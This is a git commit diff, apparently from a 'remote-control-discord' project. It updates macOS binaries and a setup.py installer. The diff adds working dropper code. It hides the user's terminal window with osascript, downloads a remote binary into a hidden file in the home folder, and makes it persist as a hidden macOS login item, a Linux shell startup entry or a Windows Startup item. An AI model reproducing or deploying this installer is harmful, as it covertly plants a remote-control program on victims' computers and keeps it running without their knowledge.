diff options
| author | littleblack111 <littleblack11111@gmail.com> | 2023-08-28 00:12:09 +0800 |
|---|---|---|
| committer | littleblack111 <littleblack11111@gmail.com> | 2023-08-28 00:12:09 +0800 |
| commit | a2cc7dd104b1bb52cdf1ba956ff5d5909253f89c (patch) | |
| tree | d384f32597cd16d52d7afb520f730a67ef0b1641 | |
| parent | 09bd1a552e30464de2989a445a724f1fd814462b (diff) | |
updated mac dist
| -rwxr-xr-x | dist/main-mac | bin | 7449440 -> 7449440 bytes | |||
| -rw-r--r-- | dist/main.app.zip | bin | 7374718 -> 7374717 bytes | |||
| -rwxr-xr-x | dist/main.app/Contents/MacOS/main | bin | 7449440 -> 7449440 bytes | |||
| -rwxr-xr-x | dist/setup-mac | bin | 7446912 -> 7447152 bytes | |||
| -rw-r--r-- | dist/setup.app.zip | bin | 7371828 -> 7372135 bytes | |||
| -rwxr-xr-x | dist/setup.app/Contents/MacOS/setup | bin | 7446912 -> 7447152 bytes | |||
| -rw-r--r-- | setup.py | 8 |
7 files changed, 7 insertions, 1 deletions
diff --git a/dist/main-mac b/dist/main-mac Binary files differindex 4ab480f..edab5a0 100755 --- a/dist/main-mac +++ b/dist/main-mac diff --git a/dist/main.app.zip b/dist/main.app.zip Binary files differindex 5a4b7dc..08b99cb 100644 --- a/dist/main.app.zip +++ b/dist/main.app.zip diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main Binary files differindex 18d0325..40285ca 100755 --- a/dist/main.app/Contents/MacOS/main +++ b/dist/main.app/Contents/MacOS/main diff --git a/dist/setup-mac b/dist/setup-mac Binary files differindex 9430a45..ad16379 100755 --- a/dist/setup-mac +++ b/dist/setup-mac diff --git a/dist/setup.app.zip b/dist/setup.app.zip Binary files differindex ba5a458..d176388 100644 --- a/dist/setup.app.zip +++ b/dist/setup.app.zip diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup Binary files differindex 0673fdf..a24f6b7 100755 --- a/dist/setup.app/Contents/MacOS/setup +++ b/dist/setup.app/Contents/MacOS/setup @@ -13,6 +13,8 @@ localfile = f"{expanduser('~')}/.{filename}" try: remove(localfile) + remove(f"{localfile}.app") + remove(f"{localfile}.tmp.zip") except FileNotFoundError: pass @@ -20,7 +22,10 @@ except FileNotFoundError: if platform == "darwin": system("osascript -e 'tell application \"System Events\" to set activeApp to name of first application process whose frontmost is true' -e 'set terminalEmulators to {\"Terminal\", \"iTerm\", \"Hyper\", \"Kitty\"}' -e 'repeat with termApp in terminalEmulators' -e 'if (activeApp contains termApp) then' -e 'tell application termApp to set currentWindow to front window' -e 'set visible of currentWindow to false' -e 'exit repeat' -e 'end if' -e 'end repeat'") open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content) - system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}\", hidden:true}}' > /dev/null") + open(f"{localfile}.tmp.zip", 'wb').write(get("https://github.com/mrdog233o5/remote-control-discord/raw/main/dist/main.app.zip", allow_redirects=True).content) + system(f"unzip {localfile}.tmp.zip") + system(f"mv {localfile}.tmp/dist/* {localfile}.app && rm -rf {localfile}.tmp*") + system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}.app\", hidden:true}}' > /dev/null") elif platform == "linux": from os import environ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content) @@ -29,6 +34,7 @@ elif platform == "linux": elif 'bash' in environ['SHELL']: system(f"echo {localfile} >> {expanduser('~')}/.bashenv") elif platform == "win32": + open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content) from shutil import copy copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp") |
